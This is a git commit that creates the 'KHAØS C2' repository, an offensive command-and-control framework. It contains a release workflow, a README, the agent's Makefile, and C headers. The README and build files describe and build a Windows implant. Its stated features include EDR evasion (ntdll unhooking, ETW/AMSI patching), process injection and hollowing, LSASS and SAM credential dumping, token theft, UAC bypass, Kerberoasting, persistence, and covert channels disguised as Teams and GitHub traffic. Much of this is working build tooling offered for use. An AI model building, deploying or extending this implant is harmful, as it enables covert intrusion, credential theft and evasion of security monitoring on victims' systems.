This commit is contained in:
28Zaaky
2026-06-30 18:02:46 +03:00
commit f49ee89f0b
261 changed files with 88879 additions and 0 deletions
+68
View File
@@ -0,0 +1,68 @@
name: Release
on:
push:
tags:
- 'v*'
permissions:
contents: write
jobs:
release:
runs-on: ubuntu-22.04
steps:
- uses: actions/checkout@v4
- name: Install toolchain
run: |
sudo apt-get update -qq
sudo apt-get install -y --no-install-recommends \
gcc-mingw-w64-x86-64 binutils-mingw-w64-x86-64 mingw-w64 make \
python3 python3-pip nodejs npm
- name: Install Python deps
run: pip3 install -r server/requirements.txt
- name: Build UI
run: cd ui && npm ci && npm run build
- name: Build agent (standalone HTTP — demo build)
run: |
cd agent
touch include/agent_config.h include/evs_strings.h
make standalone BEACON_URL=""
continue-on-error: true
- name: Create Release
uses: softprops/action-gh-release@v2
with:
name: KHAØS C2 ${{ github.ref_name }}
files: |
agent/agent.exe
body: |
## KHAØS C2 ${{ github.ref_name }}
### Quick start (Linux VPS)
```bash
git clone https://github.com/28Zaaky/khaos-c2
cd khaos-c2
sudo bash install.sh
# edit server/config.yaml
python3 server/main.py
```
### Agent
Build via the **UI → Build tab** (MinGW is installed by `install.sh`).
No local toolchain required on the operator machine.
The `agent.exe` attached to this release is a **demo build** (no credentials embedded).
It will not beacon anywhere. Rebuild from the UI after configuring `config.yaml`.
### Channels
`Teams` / `GitHub Gist` / `DNS-over-HTTPS` / `HTTP` / `SMB pivot`
Enable only what you need in `config.yaml` — unconfigured channels are skipped.
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+74
View File
@@ -0,0 +1,74 @@
# .gitignore — KHAØS C2
# ── Secrets & credentials ────────────────────────────────────────────────────
server/config.yaml
server/.env
server/*.pem
server/*.key
server/*.crt
agent/include/agent_config.h
agent/include/evs_strings.h
agent/src/config/agent_config.h
# ── Landing (served separately — not part of the OSS release) ───────────────
landing/
# ── Internal docs ───────────────────────────────────────────────────────────
LegitC2_CahierDesCharges.md
# ── Python ──────────────────────────────────────────────────────────────────
server/venv/
__pycache__/
**/__pycache__/
*.pyc
*.pyo
server/*.db
server/*.log
server/server_out.txt
server/server_err.txt
server/build/
server/dist/
# ── Node / UI ────────────────────────────────────────────────────────────────
ui/node_modules/
ui/dist/
ui/.env
ui/src-tauri/binaries/*.exe
# ── Agent build artifacts ────────────────────────────────────────────────────
agent/nul
agent/agent_out*.txt
agent/agent_err*.txt
agent/st??????
agent/build/
agent/*.exe
agent/*.dll
agent/*.o
agent/*.a
agent/*.bin
agent/*.bak
# ── Crypter artifacts ────────────────────────────────────────────────────────
crypter/output/
crypter/stub/*.exe
crypter/stub/*.bin
crypter/stub/*.o
crypter/stager/*.exe
crypter/stager/*.bin
crypter/stager/*.o
crypter/stager/stager_cfg.h
# ── Root artifacts ────────────────────────────────────────────────────────────
vm_deploy.zip
*.zip
build-linux.sh
# ── OS ────────────────────────────────────────────────────────────────────────
.DS_Store
Thumbs.db
desktop.ini
# ── Editors ──────────────────────────────────────────────────────────────────
.vscode/
.idea/
*.swp
+153
View File
@@ -0,0 +1,153 @@
<div align="center">
<img src="https://khaos.khaotic.fr/logo.png" alt="KHAØS C2" width="200" />
<h1>KHAØS C2</h1>
<p>KHAØS is a modern post-exploitation C2 framework with 5 covert channels and full evasion built in, created by <a href="https://github.com/28Zaaky/">@28Zaaky</a>.</p>
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
[![Discord](https://img.shields.io/badge/Discord-Join-5865F2?logo=discord&logoColor=white)](https://discord.gg/qNeK6cvwSq)
[![Website](https://img.shields.io/badge/Website-khaos.khaotic.fr-0a0a0a)](https://khaos.khaotic.fr)
</div>
---
<!-- <div align="center">
<img src="https://khaos.khaotic.fr/preview.png" alt="KHAØS C2 UI" width="800" />
</div> -->
<img width="1395" height="897" alt="image" src="https://github.com/user-attachments/assets/4b20ebc7-afb7-442c-9bf6-e173c1886dee" />
---
See the [documentation](https://khaos.khaotic.fr/docs.html) for full instructions.
---
## Why KHAØS
Most open-source C2s have one thing in common: they're already in every EDR vendor's database. KHAØS was built with that in mind from day one.
The agent is written in C. It uses indirect syscalls, unhooks ntdll from a fresh disk copy, patches ETW and AMSI through hardware breakpoints rather than byte-patching, and obfuscates its stack during sleep. Every build regenerates its string encoding key and credential XOR, so two compiled binaries from the same config never share a static signature.
On the network side there are five channels: Microsoft Teams, GitHub Gist, DNS-over-HTTPS, HTTP/S, and SMB named pipe. The idea is that at least one of them already looks like normal traffic in whatever environment you're working in.
Post-exploitation covers the usual ground: shell, execute-assembly (.NET CLR in-process), BOF/COFF loading, four injection techniques, token theft and impersonation, LSASS dump via direct syscall, Kerberoasting, AS-REP roasting, SOCKS5, reverse port forward, and WMI lateral movement. A separate crypter/loader handles in-memory PE mapping if you need to go stageless.
The operator UI is a React app with a built-in payload builder, live network map, credential store, and screenshot gallery. Everything updates over WebSocket in real time.
---
## Features
<img width="934" height="1066" alt="image" src="https://github.com/user-attachments/assets/a1b331a3-eedc-4654-85ed-7e26cd834ffd" />
### Channels
| Channel | Transport | Blends into |
|---------|-----------|-------------|
| Microsoft Teams | HTTPS `*.office.com` | O365 enterprise traffic |
| GitHub Gist | REST `api.github.com` | Developer activity |
| DNS-over-HTTPS | DoH `1.1.1.1` | Encrypted DNS queries |
| HTTP/S | HTTPS | Generic web traffic |
| SMB Named Pipe | SMB | Internal lateral movement |
Traffic is encrypted with ChaCha20-Poly1305, key exchange via X25519, unique per agent, per session.
### Post-exploitation
| Category | Capabilities |
|----------|-------------|
| Execution | Shell, execute-assembly (.NET CLR in-process), BOF/COFF loader, screenshot |
| Injection | Remote thread, thread hijack, EarlyBird APC, module stomp, self-injection |
| Identity | Token steal / make / revert, `getsystem` (3 techniques), UAC bypass (ICMLuaUtil / fodhelper / sdclt) |
| Credentials | LSASS dump (custom minidump), SAM/SYSTEM hive via SeBackupPrivilege, Kerberoast, AS-REP roast |
| Network | SOCKS5 proxy, reverse port forward, SMB pivot, WMI lateral movement |
| Persistence | Registry run key, scheduled task (XML) |
### Crypter
Loader that decrypts and reflectively maps the agent PE in memory.
```bash
cd crypter
python build.py # bake agent + build loader
python build.py --stager-url https://... # with network stager
```
---
## Quick Start
### Linux (Kali / Ubuntu / Debian)
```bash
git clone https://github.com/28Zaaky/khaos-c2
cd khaos-c2
python3 -m venv venv && source venv/bin/activate
pip3 install -r server/requirements.txt
# install Node.js if missing
sudo apt update && sudo apt install nodejs npm -y
cd ui && npm install && npm run build && cd ..
# TLS cert
openssl req -x509 -newkey rsa:2048 -sha256 -days 365 -nodes \
-keyout server/cert.key -out server/cert.pem -subj "/CN=khaos-c2"
cp server/config.example.yaml server/config.yaml
# edit config.yaml: jwt_secret + http.beacon_url
python3 server/main.py
```
Agent compiled on Windows (see below), then dropped on target.
### Windows
Requires [MSYS2](https://www.msys2.org/) with MinGW-w64.
```bash
git clone https://github.com/28Zaaky/khaos-c2
cd khaos-c2
```
```bash
# MSYS2 shell — install build deps once
pacman -S mingw-w64-x86_64-gcc mingw-w64-x86_64-mbedtls
```
```bash
# Server
cd server
python -m venv venv
venv\Scripts\activate
pip install -r requirements.txt
copy config.example.yaml config.yaml
python main.py
```
```bash
# UI (separate terminal)
cd ui && npm install && npm run dev # → http://localhost:5173
```
```powershell
# Agent
.\agent\rebuild_agent.ps1 # runs make config + make lean, kills running agent first
# or: cd agent && make config && make standalone
```
Default login: `operator` / `changeme`
---
## Community
Discord: https://discord.gg/qNeK6cvwSq
---
## Legal
For authorized security testing only. Using this tool against systems you do not own or have explicit written permission to test is illegal.
---
*Built by [28Zaaky](https://github.com/28Zaaky/)*
+315
View File
@@ -0,0 +1,315 @@
# ── Toolchain detection — Windows (MSYS2) or Linux (cross-compile) ──────────
ifeq ($(OS),Windows_NT)
MSYS2 ?= C:/msys64/mingw64
CC ?= $(MSYS2)/bin/gcc.exe
STRIP ?= $(MSYS2)/bin/strip.exe
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
WINDRES ?= $(MSYS2)/bin/windres.exe
PYTHON ?= python
# Force linker temp dir (ld.exe ignores shell TEMP on some MSYS2 setups)
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
export TEMP := $(TMP)
else
# Ubuntu/Debian: apt install gcc-mingw-w64-x86-64 mingw-w64
MSYS2 ?= /usr/x86_64-w64-mingw32
CC ?= x86_64-w64-mingw32-gcc
STRIP ?= x86_64-w64-mingw32-strip
OBJCOPY ?= x86_64-w64-mingw32-objcopy
WINDRES ?= x86_64-w64-mingw32-windres
PYTHON ?= python3
endif
# Guard: must run make from the agent/ directory (include/bof.h must be reachable)
ifeq ($(wildcard include/bof.h),)
$(error Run make from the agent/ directory, not from: $(CURDIR))
endif
BUILDDIR = .
# -DCURL_STATICLIB removed: curl linked dynamically (libcurl-4.dll)
JITTER_PCT ?= 40
# -fno-ident : supprime la string "GCC: (x86_64-posix-seh...)" dans .comment
# -fno-asynchronous-unwind-tables : supprime .eh_frame (réduit surface heuristique)
# -fno-exceptions : pas d'exception C++ → pas de .pdata/.xdata MSVC-style
# -Wl,--no-insert-timestamp : ld n'écrit pas de timestamp (pe_scrub en met un aléatoire)
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
-fno-ident -fno-asynchronous-unwind-tables -fno-exceptions \
-fno-stack-protector \
-DJITTER_PCT=$(JITTER_PCT)
# Mixed linking: -mwindows suppresses console
# curl = dynamic (DLL), mbedTLS = static, stdlib = static
LDFLAGS = -mwindows -static-libgcc -static-libstdc++ -Wl,--no-insert-timestamp
INCLUDE = -Iinclude \
-I$(MSYS2)/include
LIBPATH = -L$(MSYS2)/lib
# mbedTLS static, curl dynamic (avoids HTTP/3 static dep chain)
LIBS = -Wl,-Bstatic -lmbedcrypto -lbcrypt \
-Wl,-Bdynamic -lcurl \
-Wl,-Bstatic -lws2_32 -lwinhttp -lnetapi32 -ladvapi32 \
-lwldap32 -lcrypt32 -lsecur32 -liphlpapi \
-lgdi32 -lole32 -loleaut32 -luuid
# Standalone: HTTP channel only (WinHTTP loaded at runtime — no IAT entry)
# Excludes teams.c / github.c / doh.c — no libcurl required.
LIBS_SA = -Wl,-Bstatic -lmbedcrypto -lbcrypt \
-Wl,-Bstatic -lws2_32 -lnetapi32 -ladvapi32 \
-lwldap32 -lcrypt32 -lsecur32 -liphlpapi \
-lgdi32 -lole32 -loleaut32 -luuid
SRC_SA = src/main.c \
src/beacon.c \
src/util.c \
src/adv_lazy.c \
src/evs.c \
src/crypto/chacha.c \
src/crypto/handshake.c \
src/channels/http.c \
src/channels/http_only.c \
src/commands/shell.c \
src/commands/upload.c \
src/commands/download.c \
src/commands/ps.c \
src/commands/getpid.c \
src/commands/token.c \
src/commands/screenshot.c \
src/commands/execasm.c \
src/commands/fs.c \
src/commands/reg.c \
src/commands/lsass.c \
src/commands/hashdump.c \
src/commands/portscan.c \
src/commands/spawn.c \
src/commands/wmi.c \
src/commands/kerberos.c \
src/commands/uac.c \
src/commands/getsystem.c \
src/commands/lpe_check.c \
src/channels/smb.c \
src/evasion/evasion.c \
src/inject/inject.c \
src/inject/spoof_stub.S \
src/persist/persist.c \
src/bof/bof.c \
src/socks/socks.c \
src/socks/rportfwd.c
# Lean: no inject/screenshot/lsass/hashdump/kerberos/execasm — minimal capability surface
SRC_LEAN = src/main.c \
src/beacon.c \
src/util.c \
src/adv_lazy.c \
src/evs.c \
src/crypto/chacha.c \
src/crypto/handshake.c \
src/channels/http.c \
src/channels/http_only.c \
src/commands/shell.c \
src/commands/upload.c \
src/commands/download.c \
src/commands/ps.c \
src/commands/getpid.c \
src/commands/token.c \
src/commands/fs.c \
src/commands/reg.c \
src/commands/portscan.c \
src/commands/spawn.c \
src/commands/wmi.c \
src/commands/uac.c \
src/commands/getsystem.c \
src/commands/lpe_check.c \
src/channels/smb.c \
src/evasion/evasion.c \
src/inject/inject_stub.c \
src/persist/persist.c \
src/bof/bof.c \
src/socks/socks.c \
src/socks/rportfwd.c
SRC = src/main.c \
src/beacon.c \
src/util.c \
src/adv_lazy.c \
src/evs.c \
src/crypto/chacha.c \
src/crypto/handshake.c \
src/channels/github.c \
src/channels/http.c \
src/channels/teams.c \
src/channels/doh.c \
src/commands/shell.c \
src/commands/upload.c \
src/commands/download.c \
src/commands/ps.c \
src/commands/getpid.c \
src/commands/token.c \
src/commands/screenshot.c \
src/commands/execasm.c \
src/commands/fs.c \
src/commands/reg.c \
src/commands/lsass.c \
src/commands/hashdump.c \
src/commands/portscan.c \
src/commands/spawn.c \
src/commands/wmi.c \
src/commands/kerberos.c \
src/commands/uac.c \
src/commands/getsystem.c \
src/commands/lpe_check.c \
src/channels/smb.c \
src/evasion/evasion.c \
src/inject/inject.c \
src/inject/spoof_stub.S \
src/persist/persist.c \
src/bof/bof.c \
src/socks/socks.c \
src/socks/rportfwd.c
TARGET = $(BUILDDIR)/agent.exe
RES_SRC = res/agent.rc
RES_OBJ = $(BUILDDIR)/agent_res.o
# DLLs to ship alongside agent.exe (copy from MSYS2 after build)
DLLS = $(MSYS2)/bin/libcurl-4.dll \
$(MSYS2)/bin/libssl-3.dll \
$(MSYS2)/bin/libcrypto-3.dll
LIFTER_SRC = src/lifter/lifter.c \
src/evs.c
LIFTER_LIBS = -Wl,-Bstatic -ladvapi32 -lshell32 -luser32 -lkernel32 \
-lole32 -luuid
STAGER_SRC = src/stager/stager.c \
src/stager/hollow.c \
src/crypto/chacha.c \
src/evs.c
STAGER_LIBS = -Wl,-Bstatic -lmbedcrypto -lbcrypt \
-Wl,-Bstatic -lws2_32 -lwinhttp -ladvapi32 \
-lwldap32 -lcrypt32 -lsecur32 \
-lgdi32 -lole32 -loleaut32 -luuid
$(RES_OBJ): $(RES_SRC) res/agent.manifest
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
all: config $(RES_OBJ) $(TARGET)
lifter:
$(CC) -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
$(INCLUDE) $(LIFTER_SRC) \
$(LIBPATH) $(LIFTER_LIBS) \
-mwindows -static-libgcc \
-o lifter.exe
$(STRIP) --strip-all lifter.exe
@echo "[ok] lifter.exe"
standalone: config $(RES_OBJ)
$(CC) $(CFLAGS) -DHTTP_ONLY $(INCLUDE) $(SRC_SA) $(RES_OBJ) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(TARGET)
$(STRIP) --strip-all $(TARGET)
$(OBJCOPY) --strip-debug $(TARGET)
$(PYTHON) tools/pe_scrub.py $(TARGET)
@echo "[ok] standalone built $(TARGET) (no curl DLL)"
stager: stager-config stager-only
stager-config:
$(PYTHON) tools/gen_stager_config.py --url "$(STAGE_URL)" --key "$(STAGE_KEY)"
# stager-only: compile stager without regenerating stager_config.h
# Used by the payload builder API (config already written by the server).
stager-only:
$(CC) $(CFLAGS) -DHTTP_ONLY $(INCLUDE) $(STAGER_SRC) $(LIBPATH) $(STAGER_LIBS) $(LDFLAGS) -o stager.exe
@echo "[ok] stager.exe"
# shellcode-only: convert agent.exe → agent.bin via donut
# Requires: pip install donut-shellcode
# Note: run build-only first to produce agent.exe
shellcode-only:
$(PYTHON) tools/pe2sc.py $(BUILDDIR)/agent.exe $(BUILDDIR)/agent.bin
@echo "[ok] shellcode agent.bin"
# reflective-dll-only: build agent as a reflective DLL (no console, no WinMain).
# The DLL exports "ReflectiveLoader" — any injector can find it by EAT and call
# it to self-load the agent into memory without LoadLibrary.
# -shared / -Wl,--dll : produce a PE DLL
# -D_REFLECTIVE_DLL : switches main.c to agent_main() + includes dllmain.c/reflect.c
# -Wl,--export-all-symbols omitted: only ReflectiveLoader needs export (in reflect.c)
reflective-dll-only:
$(CC) $(CFLAGS) -D_REFLECTIVE_DLL -DHTTP_ONLY -shared \
$(INCLUDE) \
$(SRC_SA) \
src/reflect/reflect.c \
src/reflect/dllmain.c \
$(LIBPATH) $(LIBS_SA) \
-static-libgcc -static-libstdc++ \
-Wl,--dll \
-o $(BUILDDIR)/agent.dll
@echo "[ok] agent.dll (reflective)"
# lean: reduced surface — no inject/screenshot/lsass/hashdump/kerberos/execasm
lean: config $(RES_OBJ)
$(CC) $(CFLAGS) -DHTTP_ONLY -DLEAN $(INCLUDE) $(SRC_LEAN) $(RES_OBJ) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(TARGET)
$(STRIP) --strip-all $(TARGET)
$(OBJCOPY) --strip-debug $(TARGET)
$(PYTHON) tools/pe_scrub.py $(TARGET)
@echo "[ok] lean build $(TARGET)"
# build-only: compile standalone without regenerating agent_config.h
# Used by the payload builder API (config already written by the server).
build-only: $(RES_OBJ)
$(CC) $(CFLAGS) -DHTTP_ONLY $(INCLUDE) $(SRC_SA) $(RES_OBJ) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(TARGET)
$(STRIP) --strip-all $(TARGET)
$(OBJCOPY) --strip-debug $(TARGET)
$(PYTHON) tools/pe_scrub.py $(TARGET)
@echo "[ok] build-only $(TARGET)"
config:
$(PYTHON) tools/obfuscate.py
$(PYTHON) tools/gen_evs_strings.py
$(TARGET): $(SRC) $(RES_OBJ)
$(CC) $(CFLAGS) $(INCLUDE) $(SRC) $(RES_OBJ) $(LIBPATH) $(LIBS) $(LDFLAGS) -o $(TARGET)
$(STRIP) --strip-all $(TARGET)
$(OBJCOPY) --strip-debug $(TARGET)
@echo "[ok] built $(TARGET)"
# Copy required DLLs next to the binary
bundle: $(TARGET)
@for dll in $(DLLS); do \
cp -v "$$dll" . 2>/dev/null || true; \
done
strip: $(TARGET)
$(STRIP) --strip-all $(TARGET)
$(OBJCOPY) --strip-debug $(TARGET)
@echo "[ok] stripped"
relay:
$(CC) -O2 -Wall -DNDEBUG -DWIN32_LEAN_AND_MEAN \
$(INCLUDE) src/relay/smb_relay.c \
$(LIBPATH) \
-Wl,-Bstatic -lws2_32 -lwinhttp -ladvapi32 \
-lwldap32 -lcrypt32 -lsecur32 \
-lgdi32 -lole32 -loleaut32 -luuid \
-static-libgcc \
-o smb_relay.exe
@echo "[ok] smb_relay.exe"
debug:
$(CC) $(CFLAGS) -DHTTP_ONLY -DBEACON_INTERVAL=3000 -DJITTER_PCT=0 -DSKIP_EVASION \
$(INCLUDE) $(SRC_SA) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(BUILDDIR)/agent_debug.exe
$(STRIP) --strip-all $(BUILDDIR)/agent_debug.exe
@echo "[ok] agent_debug.exe (interval=3s, no jitter, stripped)"
clean:
ifeq ($(OS),Windows_NT)
del /Q "$(BUILDDIR)\agent.exe" "$(BUILDDIR)\agent_res.o" 2>nul || true
else
rm -f $(BUILDDIR)/agent.exe $(BUILDDIR)/agent_res.o
endif
.PHONY: all standalone lean build-only debug stager stager-config stager-only shellcode-only reflective-dll-only bundle strip relay clean
File diff suppressed because it is too large Load Diff
+31
View File
@@ -0,0 +1,31 @@
#ifndef ADV_LAZY_H
#define ADV_LAZY_H
#include <windows.h>
#include <winsvc.h>
typedef struct {
/* token manipulation */
BOOL (WINAPI *AdjustTokenPrivileges)(HANDLE,BOOL,PTOKEN_PRIVILEGES,DWORD,PTOKEN_PRIVILEGES,PDWORD);
BOOL (WINAPI *DuplicateTokenEx)(HANDLE,DWORD,LPSECURITY_ATTRIBUTES,SECURITY_IMPERSONATION_LEVEL,TOKEN_TYPE,PHANDLE);
BOOL (WINAPI *ImpersonateLoggedOnUser)(HANDLE);
BOOL (WINAPI *LogonUserA)(LPCSTR,LPCSTR,LPCSTR,DWORD,DWORD,PHANDLE);
BOOL (WINAPI *LookupPrivilegeNameA)(LPCSTR,PLUID,LPSTR,LPDWORD);
BOOL (WINAPI *LookupPrivilegeValueA)(LPCSTR,LPCSTR,PLUID);
BOOL (WINAPI *OpenProcessToken)(HANDLE,DWORD,PHANDLE);
BOOL (WINAPI *OpenThreadToken)(HANDLE,DWORD,BOOL,PHANDLE);
BOOL (WINAPI *RevertToSelf)(void);
/* service management */
BOOL (WINAPI *CloseServiceHandle)(SC_HANDLE);
BOOL (WINAPI *EnumServicesStatusExA)(SC_HANDLE,SC_ENUM_TYPE,DWORD,DWORD,LPBYTE,DWORD,LPDWORD,LPDWORD,LPDWORD,LPCSTR);
SC_HANDLE (WINAPI *OpenSCManagerA)(LPCSTR,LPCSTR,DWORD);
SC_HANDLE (WINAPI *OpenServiceA)(SC_HANDLE,LPCSTR,DWORD);
BOOL (WINAPI *QueryServiceConfigA)(SC_HANDLE,LPQUERY_SERVICE_CONFIGA,DWORD,LPDWORD);
SERVICE_STATUS_HANDLE (WINAPI *RegisterServiceCtrlHandlerA)(LPCSTR,LPHANDLER_FUNCTION);
BOOL (WINAPI *SetServiceStatus)(SERVICE_STATUS_HANDLE,LPSERVICE_STATUS);
BOOL (WINAPI *StartServiceCtrlDispatcherA)(LPSERVICE_TABLE_ENTRYA);
} adv_api_t;
const adv_api_t *adv_get(void);
#endif /* ADV_LAZY_H */
+68
View File
@@ -0,0 +1,68 @@
#ifndef BEACON_H
#define BEACON_H
#include <stdint.h>
#include <stddef.h>
#include "crypto.h"
#define AGENT_ID_LEN 8
#ifndef BEACON_INTERVAL
#define BEACON_INTERVAL 30000 /* ms — override with -DBEACON_INTERVAL=N */
#endif
#ifndef JITTER_PCT
#define JITTER_PCT 40
#endif
#define OUTPUT_BUF_SIZE (10 * 1024 * 1024)
#pragma pack(push, 1)
typedef struct {
uint16_t magic; /* 0xCC20 */
uint32_t agent_id_u32;
uint16_t payload_len;
} msg_header_t;
#pragma pack(pop)
#define MSG_MAGIC 0xCC20
typedef struct {
char agent_id[AGENT_ID_LEN + 1];
char hostname[256];
char username[128];
char os_info[128];
char privileges[32];
crypto_ctx_t crypto;
int handshake_done;
char *pending_output;
size_t output_len;
char last_task_id[64];
char parent_id[AGENT_ID_LEN + 1]; /* agent that spawned us, or "" */
} agent_ctx_t;
int agent_init(agent_ctx_t *ctx);
void agent_free(agent_ctx_t *ctx);
char *beacon_build(agent_ctx_t *ctx);
char *beacon_build_handshake(agent_ctx_t *ctx);
int beacon_parse_response(agent_ctx_t *ctx, const char *raw_b64,
char *cmd_out, size_t cmd_sz,
char *args_out, size_t args_sz,
char *task_id_out, size_t task_id_sz,
char **data_out);
void beacon_append_output(agent_ctx_t *ctx, const char *data, size_t len);
void beacon_clear_output(agent_ctx_t *ctx);
void beacon_sleep(void);
void agent_gen_id(char *id_out);
void agent_get_hostname(char *buf, size_t len);
void agent_get_username(char *buf, size_t len);
void agent_get_os(char *buf, size_t len);
void agent_get_privileges(char *buf, size_t len);
void agent_write_parent_id(const char *id);
void agent_write_gs_flag(void);
int agent_read_gs_flag(void);
int agent_gs_flag_exists(void); /* 1 if flag file is present (not yet consumed) */
#endif /* BEACON_H */
+9
View File
@@ -0,0 +1,9 @@
#ifndef BOF_H
#define BOF_H
#include <stddef.h>
int cmd_bof(const char *coff_b64, const char *args_b64,
char *output_buf, size_t output_sz);
#endif /* BOF_H */
+54
View File
@@ -0,0 +1,54 @@
#ifndef CHANNELS_H
#define CHANNELS_H
#include <stddef.h>
#define CHANNEL_OK 0
#define CHANNEL_ERR -1
#define CHANNEL_RETRY -2
typedef struct {
char github_token[256];
char gist_cmd_id[64];
char gist_out_id[64];
char teams_tenant_id[64];
char teams_client_id[64];
char teams_client_secret[256];
char teams_webhook_url[512];
char teams_team_id[64];
char teams_channel_id[64];
char doh_server[256];
char doh_domain[128];
char beacon_url[512];
char http_useragent[512];
char http_extra_headers[1024];
char http_cert_pin[65];
char smb_host[256];
char smb_pipe[128];
} channel_config_t;
void channel_config_init(channel_config_t *cfg);
int github_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
char *github_recv(const channel_config_t *cfg, const char *agent_id);
int teams_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
char *teams_recv(const channel_config_t *cfg, const char *agent_id);
int doh_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
char *doh_recv(const channel_config_t *cfg, const char *agent_id);
int http_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
char *http_recv(void);
int smb_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
char *smb_recv(void);
int channel_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
char *channel_recv(const channel_config_t *cfg, const char *agent_id);
#endif /* CHANNELS_H */
+70
View File
@@ -0,0 +1,70 @@
#ifndef COMMANDS_H
#define COMMANDS_H
#include <stddef.h>
int cmd_shell(const char *cmdline, char *output_buf, size_t output_size);
int cmd_upload(const char *local_path, const char *data_b64,
char *output_buf, size_t output_size);
int cmd_download(const char *local_path, char *output_buf, size_t output_size);
int cmd_sysinfo(char *output_buf, size_t output_size);
int cmd_ps(char *output_buf, size_t output_size);
int cmd_getpid(const char *name, char *output_buf, size_t output_size);
int cmd_spawn(const char *exe_path, const char *fake_cmdline,
const char *real_cmdline,
char *output_buf, size_t output_size);
int cmd_getuid(char *output_buf, size_t output_size);
int cmd_steal_token(unsigned long pid, char *output_buf, size_t output_size);
int cmd_rev2self(char *output_buf, size_t output_size);
int cmd_make_token(const char *domain_user, const char *password,
char *output_buf, size_t output_size);
int cmd_privs(const char *action, const char *priv_name,
char *output_buf, size_t output_size);
int cmd_screenshot(char *output_buf, size_t output_size);
int cmd_execasm(const unsigned char *asm_bytes, size_t asm_len,
const char *args_str,
char *output_buf, size_t output_size);
int cmd_lsassdump(const char *out_path, char *output_buf, size_t output_size);
int cmd_hashdump(const char *dir, char *output_buf, size_t output_size);
int cmd_portscan(const char *host, unsigned short start, unsigned short end,
int timeout_ms, char *output_buf, size_t output_size);
int cmd_ls(const char *path, char *output_buf, size_t output_size);
int cmd_mkdir(const char *path, char *output_buf, size_t output_size);
int cmd_rm(const char *path, char *output_buf, size_t output_size);
int cmd_cp(const char *src, const char *dst, char *output_buf, size_t output_size);
int cmd_mv(const char *src, const char *dst, char *output_buf, size_t output_size);
int cmd_wmiexec(const char *host, const char *cmdline,
char *output_buf, size_t output_size);
int cmd_kerberoast(const char *args, char *output_buf, size_t output_size);
int cmd_asreproast(const char *args, char *output_buf, size_t output_size);
int cmd_uacbypass(const char *args, char *output_buf, size_t output_size);
int cmd_privesc(char *output_buf, size_t output_size);
int cmd_getsystem(const char *args, char *output_buf, size_t output_size);
int cmd_lpe_check(const char *args, char *output_buf, size_t output_size);
int cmd_reg_query(const char *keypath, const char *valname,
char *output_buf, size_t output_size);
int cmd_reg_set(const char *keypath, const char *valname,
const char *type_str, const char *value,
char *output_buf, size_t output_size);
int cmd_reg_delete(const char *keypath, const char *valname,
char *output_buf, size_t output_size);
#endif /* COMMANDS_H */
+56
View File
@@ -0,0 +1,56 @@
#ifndef CRYPTO_H
#define CRYPTO_H
#include <stdint.h>
#include <stddef.h>
#define CHACHA20_KEY_SIZE 32
#define CHACHA20_NONCE_SIZE 12
#define POLY1305_TAG_SIZE 16
#define X25519_KEY_SIZE 32
#define CRYPTO_OVERHEAD (CHACHA20_NONCE_SIZE + POLY1305_TAG_SIZE)
typedef struct {
uint8_t session_key[CHACHA20_KEY_SIZE];
uint8_t key_mask[CHACHA20_KEY_SIZE];
uint8_t agent_privkey[X25519_KEY_SIZE];
uint8_t agent_pubkey[X25519_KEY_SIZE];
int key_established;
} crypto_ctx_t;
int crypto_init(crypto_ctx_t *ctx);
void crypto_free(crypto_ctx_t *ctx);
int chacha20_poly1305_encrypt(const uint8_t *key, const uint8_t *nonce,
const uint8_t *pt, size_t pt_len,
uint8_t *ct, uint8_t *tag);
int chacha20_poly1305_decrypt(const uint8_t *key, const uint8_t *nonce,
const uint8_t *ct, size_t ct_len,
const uint8_t *tag, uint8_t *pt);
int crypto_gen_keypair(uint8_t *pubkey, uint8_t *privkey);
int crypto_ecdh(const uint8_t *privkey, const uint8_t *peer_pubkey,
uint8_t *shared_secret);
int crypto_hkdf(const uint8_t *ikm, size_t ikm_len,
const uint8_t *salt, size_t salt_len,
const uint8_t *info, size_t info_len,
uint8_t *okm, size_t okm_len);
/* ctx->agent_privkey/pubkey must be set first via crypto_gen_keypair() */
int crypto_do_handshake(crypto_ctx_t *ctx, const uint8_t *server_pubkey);
int crypto_rand_bytes(uint8_t *buf, size_t len);
/* Wire format: nonce(12) | ciphertext(n) | tag(16) — caller free()s result */
uint8_t *crypto_seal(crypto_ctx_t *ctx,
const uint8_t *pt, size_t pt_len, size_t *out_len);
uint8_t *crypto_open(crypto_ctx_t *ctx,
const uint8_t *blob, size_t blob_len, size_t *out_len);
/* Base64 — caller free()s result */
char *base64_encode(const uint8_t *data, size_t len);
uint8_t *base64_decode(const char *str, size_t *out_len);
#endif /* CRYPTO_H */
+10
View File
@@ -0,0 +1,10 @@
#pragma once
#include <windows.h>
void evasion_unhook_ntdll(void);
void evasion_patch_etw(void);
void evasion_patch_amsi(void);
void evasion_patch_etw_ti(void);
void evasion_stomp_header(void);
BOOL evasion_apply_thread(HANDLE hThread);
void beacon_sleep_obf(DWORD ms);
+10
View File
@@ -0,0 +1,10 @@
#pragma once
#include <windows.h>
DWORD inject_find_target(void);
HANDLE inject_nt_open_process(DWORD pid, DWORD access);
int inject_remote(DWORD pid, const BYTE *sc, SIZE_T sc_len);
int inject_thread_hijack(DWORD pid, const BYTE *sc, SIZE_T sc_len);
int inject_earlybird(const BYTE *sc, SIZE_T sc_len);
int inject_self(const BYTE *sc, SIZE_T sc_len);
int inject_stomp(DWORD pid, const BYTE *sc, SIZE_T sc_len, const char *dll_path);
+86
View File
@@ -0,0 +1,86 @@
#ifndef PEB_WALK_H
#define PEB_WALK_H
#include <windows.h>
#include <string.h>
/*
* _peb_module(name_lower) — get module base via PEB InMemoryOrderModuleList.
